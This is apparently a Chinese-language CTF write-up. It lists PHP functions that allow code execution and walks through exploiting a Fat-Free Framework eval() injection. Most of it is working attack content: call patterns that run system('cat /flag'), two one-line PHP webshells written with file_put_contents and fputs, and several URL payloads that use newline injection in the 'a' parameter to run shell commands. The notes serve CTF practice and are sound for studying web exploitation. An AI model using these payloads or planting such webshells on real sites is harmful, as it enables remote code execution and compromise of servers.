漏洞函数
PHP代码执行漏洞函数
eval('system("cat /flag");')
assert('system("cat /flag")')
call_user_func($_REQUEST['a'], $_REQUEST['b'])
//call_user_func('system', 'cat /flag')
file_get_contents('/flag') //文件读取
create_function('$a', $_GET['code']) //PHP 7.2.0 起已弃用
//create_function('$a', system('cat /flag');)
$array = ['test' => $_GET['cmd']];
array_walk($array, $_GET['func']);
//array_walk(['cat /flag'], 'system');
$array = [$_GET['cmd']];
array_filter($array, $_GET['func']);
//array_filter(['cat /flag'], 'system');
$array = [$_GET['cmd']];
array_map($_GET['func'], $array);
//array_map(['cat /flag'], 'system');
$func = $_GET['func'];
$args = $_GET['args']; //假设可以传入数组
call_user_func_array($func, $args);
//利用:?func=system&args[]=cat+/flag
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
分析
发现base.php第530行报错,使用了eval()函数
<?php
// Kickstart the framework
$f3=require('lib/base.php'); //引入F3框架的基础文件
$f3->set('DEBUG',1); //开启调试模式,1==>记录错误和日志
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a); //删除F3对象属性
$f3->run(); //运行f3应用
搜索到这是F3,获取源代码,查看第530行
eval('unset('.$val.');');
构造payload
发现直接拼接了a输入的参数,构造参数,合法即可,%0a换行符使compile()无法将输入的整体作为hive的值
/?a=a%0a);system('cat /flag'
/?a=a%0a);system('cat%20/flag');%0a//
/?a=a%0a);$cmd='cat%20/flag';%0asystem($cmd%0a
/?a=a%0a);echo%20%60cat%20/flag%60;%0a//
/?a=a%0a);eval('system("cat%20/flag");');%0a//
借鉴: